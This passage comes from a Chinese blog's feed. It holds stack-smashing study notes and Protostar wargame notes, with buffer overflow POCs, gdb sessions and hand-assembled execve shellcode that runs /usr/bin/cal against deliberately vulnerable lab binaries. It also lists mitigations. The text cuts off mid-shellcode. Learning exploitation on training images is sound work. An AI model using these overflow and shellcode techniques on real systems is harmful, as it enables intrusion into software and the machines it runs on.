&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;[silver@binresearch stack_smashing]$ .&#x2F;stack_smashing_command.sh &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Show me your name:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Good boy!&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;.&#x2F;stack_smashing_command.sh: line 2:  5432 Done                    echo -ne &amp;#39;123412341234123412341234\xf3\x84\x04\x08&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        5433 Segmentation fault      | .&#x2F;vulnerable&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;分析：破坏了压进去的EBP(?)
(今天听吴神说过残像攻击，可能有用，mark下)&lt;&#x2F;p&gt;
&lt;h2 id=&quot;0x04-dai-ma-zhu-ru&quot;&gt;0x04 代码注入&lt;&#x2F;h2&gt;
&lt;p&gt;漏洞同上
POC:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;#!&#x2F;bin&#x2F;sh&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;#following are explain. of this exploit&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;#   ADDR          DATA                MEANING&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;#0xFFFFD17C       80 D1 FF FF         the address of code&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;#0xFFFFD180       31 C0               XOR eax, eax&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;#0xFFFFD182       A3 9F D1 FF FF      MOV 0xFFFFD19F, EAX &#x2F;&#x2F;SET THIS TO NULL&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;#0xFFFFD187       B0 0B               MOV AL, 0X0B&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;#0xFFFFD189       BB A3 D1 FF FF      MOV EBX, 0xFFFFD1A3 &#x2F;&#x2F;Arg[1]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;#0xFFFFD18E       B9 9B D1 FF FF      MOV ECX, 0xFFFFD19B &#x2F;&#x2F;Arg[2]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;#0xFFFFD193       8B 15 9F D1 FF FF   MOV EDX, 0xFFFFD19F &#x2F;&#x2F;Arg[3]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;#0xFFFFD199       CD 80               INT 80              &#x2F;&#x2F;EXECUTE!&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;#0xFFFFD19B       9F D1 FF FF         pointer to a null str&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;#0xFFFFD19F       &amp;quot;fdru&amp;quot;              a string which will be nulled&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;#0xFFFFD1A3-D1AF  command             &#x2F;usr&#x2F;bin&#x2F;cal&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;echo&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; -ne&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; &amp;#39;111122223333444455556666\x80\xd1\xff\xff\x31\xc0\xa3\x9f\xd1\xff\xff\xb0\x0b\xbb\xa3\xd1\xff\xff\xb9\x9b\xd1\xff\xff\x8b\x15\x9f\xd1\xff\xff\xcd\x80\xa3\xd1\xff\xff\x66\x64\x72\x75\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x63\x61\x6c\x00&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; &amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; exp_with_mess.bin&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;#I WILL NEVER LOOK UP INTEL&amp;#39;S TABLE TO ASS. THIS ASSHOLE&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;#NEVER!!!&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;结果：失败&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;[silver@binresearch stack_smashing]$ .&#x2F;vul &amp;lt; exp_with_mess.bin &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Segmentation fault&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;分析：使用固定地址，且未关闭栈随机化(?)
Question：为什么&lt;code&gt;XOR EAX,EAX&lt;&#x2F;code&gt;是&lt;code&gt;31 C0&lt;&#x2F;code&gt;?&lt;&#x2F;p&gt;
&lt;h2 id=&quot;0x05-hu-zhu-ru&quot;&gt;0x05 弧注入&lt;&#x2F;h2&gt;
&lt;p&gt;控制流转移；巧妙控制压进去的帧指针===&amp;gt;调用链&lt;&#x2F;p&gt;
&lt;h2 id=&quot;0x06-huan-jie-ce-lue&quot;&gt;0x06 缓解策略&lt;&#x2F;h2&gt;
&lt;ol&gt;
&lt;li&gt;对攻击的检测
&lt;ol&gt;
&lt;li&gt;设立哨位
&lt;ul&gt;
&lt;li&gt;目标：栈粉碎攻击&lt;&#x2F;li&gt;
&lt;li&gt;方法：置于缓冲区边缘，返回时检查是否被修改。检测到改变即表示存在栈粉碎攻击&lt;&#x2F;li&gt;
&lt;li&gt;要求：绝对随机的canaries或难以插入的canaries&lt;&#x2F;li&gt;
&lt;li&gt;缺陷：无法保护对变量的修改；并不能阻止溢出；不能完全阻止对栈内EIP的覆盖&lt;&#x2F;li&gt;
&lt;li&gt;对最后一点的对策：ramdon xor canaries---要求canary绝对保密&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;运行时的边界检查
&lt;ul&gt;
&lt;li&gt;aka.: 和Java一样慢&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;阻止攻击
&lt;ol&gt;
&lt;li&gt;栈粉碎保护器（ProPolice）
&lt;ul&gt;
&lt;li&gt;变量重排&lt;&#x2F;li&gt;
&lt;li&gt;GCC的一个拓展&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;栈随机化
&lt;ul&gt;
&lt;li&gt;并不能阻止相对地址&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;不可执行的栈
&lt;ul&gt;
&lt;li&gt;潜在的兼容性风险&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;减少风险
&lt;ul&gt;
&lt;li&gt;最小特权原则&lt;&#x2F;li&gt;
&lt;li&gt;使用安全的库函数&lt;&#x2F;li&gt;
&lt;li&gt;谨防队友坑&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h2 id=&quot;0x07-can-kao&quot;&gt;0x07 参考&lt;&#x2F;h2&gt;
&lt;p&gt;《C和C++安全编码》&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="zh-Hans-cn">
        <title>Protostar学习笔记</title>
        <published>2015-04-13T00:00:00+00:00</published>
        <updated>2016-01-29T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://blog.iret.xyz/posts/protostar-notes/"/>
        <id>https://blog.iret.xyz/posts/protostar-notes/</id>
        
        <content type="html" xml:base="https://blog.iret.xyz/posts/protostar-notes/">&lt;p&gt;正在学习二进制安全，经&lt;a rel=&quot;external&quot; title=&quot;糖果的部落格&quot; href=&quot;http:&#x2F;&#x2F;bigtang.org&quot;&gt;糖果牛&lt;&#x2F;a&gt;介绍，知道了还有&lt;a rel=&quot;external&quot; title=&quot;Exploit Exercise官网&quot; href=&quot;https:&#x2F;&#x2F;exploit-exercises.com&#x2F;&quot;&gt;Protostar&lt;&#x2F;a&gt;这么个好玩的东西。实际说来，Protostar是Exploit Exercise网站下四个供安全学习用的镜像之一，除了这个以外，还有其他四个环境，分别是Nebula（Linux基础），Fusion（相当于Protostar的高难度版本），Main Sequence（似乎是Ruxcon 2012的真题）和Cloud Road（应该是Ruxcon 2014的题），具体的可以去他们的&lt;a rel=&quot;external&quot; title=&quot;Exploit Exercise官网&quot; href=&quot;https:&#x2F;&#x2F;exploit-exercises.com&#x2F;&quot;&gt;官网&lt;&#x2F;a&gt;查阅。（另外官网上对于题目已经给出了足够的提示，因此这里的笔记只起两个作用了，一是我自己对少数题目的解法，二是我在学习过程中的点滴思考，只是对自己想法的记录。如果您感觉有一定的参考意义，那将是我的荣幸。如果您觉得这里应该公布标准答案，请移驾&lt;a rel=&quot;external&quot; href=&quot;http:&#x2F;&#x2F;google.com&quot;&gt;本处&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;更新并不定期。&lt;&#x2F;p&gt;
&lt;p&gt;工作的环境配置如下：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;# &#x2F;bin&#x2F;bash&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;user@protostar:~$&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; su&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;root@protostar:&#x2F;#&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; echo &amp;#39;1&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; &amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; &#x2F;proc&#x2F;sys&#x2F;fs&#x2F;suid_dumpable&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;root@protostar:&#x2F;#&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; exit&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;user@protostar:~$&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; gdb&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; -q&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;gdb&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt; set&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; disassemble-flavor&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;那么下面就是正文了。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;4&#x2F;13&#x2F;2015更新&lt;&#x2F;p&gt;
&lt;h3 id=&quot;stackxi-lie&quot;&gt;Stack系列&lt;&#x2F;h3&gt;
&lt;h4 id=&quot;level-0-2&quot;&gt;Level 0~2&lt;&#x2F;h4&gt;
&lt;p&gt;都是相当简单的缓冲区溢出，只不过方式稍有不同。Lv0的话，只要你输入的数量足够，就能通过了。但这没意思了不是，尝试一下最少需要多少个字符完成任务，再结合源码中在栈上分配的空间大小，要了解细节还算是比较轻松的。而Lv1则加入了对特定字符的限制，除了考查内存分配以外，还要知道小端机器是如何在内存中存放数据的。Lv2感觉是给我一个新思路，原来只知道用户输入可能有漏洞，没想过环境变量也是个靶点，看来思路还不宽。&lt;&#x2F;p&gt;
&lt;p&gt;这部分因为是中午要睡觉，所以也没太细看，简单走了几步就过去了，不过顺手搜到个很好用的trick：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;export&lt;&#x2F;span&gt;&lt;span&gt; foo&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;`&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;perl&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; -e&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; &amp;#39;print &amp;quot;\x50\x9a\x05\x40&amp;quot;&amp;#39;`&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h4 id=&quot;level-3&quot;&gt;Level 3&lt;&#x2F;h4&gt;
&lt;p&gt;直接&lt;code&gt;disas main&lt;&#x2F;code&gt;会发现使用了函数指针，不过函数指针并没有被赋值。然后敲&lt;code&gt;i fun&lt;&#x2F;code&gt;可以看到有一个名为win的函数存在，但是并没有被使用到。&lt;code&gt;disas win&lt;&#x2F;code&gt;可看到将0x8048540处的字符串输出，也就是说需要使函数指针指向win。&lt;code&gt;disas main&lt;&#x2F;code&gt;可以看到编译器在栈上为输入数据分配了0x40=64个空间，因此POC如下：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;perl&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; -e&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; &amp;#39;print &amp;quot;a&amp;quot;x64 . &amp;quot;\x24\x84\x04\x08&amp;quot;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; |&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt; .&#x2F;stack3&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;4&#x2F;15&#x2F;2015更新&lt;&#x2F;p&gt;
&lt;h4 id=&quot;level-4&quot;&gt;Level 4&lt;&#x2F;h4&gt;
&lt;p&gt;注意这里编译器生成的代码：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;and esp, 0xfffffff0&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;自己写了个调用gets()的程序，发现这句话是编译器自己加上去的，似乎只是为了对齐用。因此我们的POC需要重新计算（记得包括ebp和这个偏移量）：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;perl&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; -e&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; &amp;#39;print &amp;quot;a&amp;quot;x76 . &amp;quot;\x24\x84\x04\x08&amp;quot;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; |&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt; .&#x2F;stack3&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;(76=64+0x08+0x04)
但是关于这个偏移量产生的原因，似乎还可以追一下。留待有时间看看。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;level-5&quot;&gt;Level 5&lt;&#x2F;h4&gt;
&lt;p&gt;&lt;code&gt;i fun&lt;&#x2F;code&gt;并没有什么卵用。&lt;code&gt;disas&lt;&#x2F;code&gt;似乎也并没有什么作用。去官网上看了下，原来是要你构造个shellcode放进去。看了下相关配置，栈执行已经关掉了，好办。&lt;&#x2F;p&gt;
&lt;p&gt;先来看下代码：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;push ebp&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;mov  ebp, esp&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;and  esp, 0xfffffff0&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;sub  esp, 0x50&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;lea  eax, [esp+0x10]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;mov  DWORD PTR [esp], eax&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;call &amp;lt;gets@plt&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;leave&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;ret&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;那么压入栈中的返回地址是&lt;code&gt;esp+(0x50-0x08+0x04=)76==esp+0x4c&lt;&#x2F;code&gt;，输入的数据存放在&lt;code&gt;esp+0x10&lt;&#x2F;code&gt;(本环境下esp=0xbffff7c0）。先确定下：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;perl&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; -e&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; &amp;#39;print &amp;quot;\xcc&amp;quot;x76 . &amp;quot;\xd0\xf7\xff\xbf&amp;quot;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; &amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; &amp;#39;~&#x2F;test.in&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;Alt+F&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;2&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;gdb&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt; r&lt;&#x2F;span&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;Starting&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; program: &#x2F;opt&#x2F;protostar&#x2F;bin&#x2F;stack5&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; ~&#x2F;test.in&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;Program&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; received signal SIGTRAP, Trace&#x2F;breakpoint trap.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;0xbffff7d1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; in ??&lt;&#x2F;span&gt;&lt;span&gt;()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;gdb&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt; x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; &#x2F;20x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 0xbffff7d0&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;0xbffff7d0:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;......&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;0xbffff810:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 0xcccccccc 0xcccccccc 0xcccccccc 0xbffff7d0&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;gdb&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt; i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; reg esp ebp&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;esp&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;   0xbffff820 0xbffff820&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;ebp&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;   0xcccccccc 0xcccccccc&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;看来是没问题了。那么现在写下shellcode，弹个……日历吧。感谢&lt;a rel=&quot;external&quot; title=&quot;Online Assembler&quot; href=&quot;https:&#x2F;&#x2F;defuse.ca&#x2F;online-x86-assembler.htm#disassembly&quot;&gt;这家&lt;&#x2F;a&gt;和&lt;a rel=&quot;external&quot; title=&quot;ODA Web&quot; href=&quot;http:&#x2F;&#x2F;www.onlinedisassembler.com&#x2F;odaweb&#x2F;&quot;&gt;这家&lt;&#x2F;a&gt;的大力支持，得到了shellcode如下：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;#base: 0xbffff7d0+0x1c个nop&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;#-1:  90                      nop&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;#00:  31 c0                   xor    eax,eax&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;#02:  a3 08 f8 ff bf          mov    ds:0xbffff808,eax&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;#07:  b0 0b                   mov    al,0xb&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;#09:  bb 0c f8 ff bf          mov    ebx,0xbffff80c&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;#0e:  b9 04 f8 ff bf          mov    ecx,0xbffff804&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
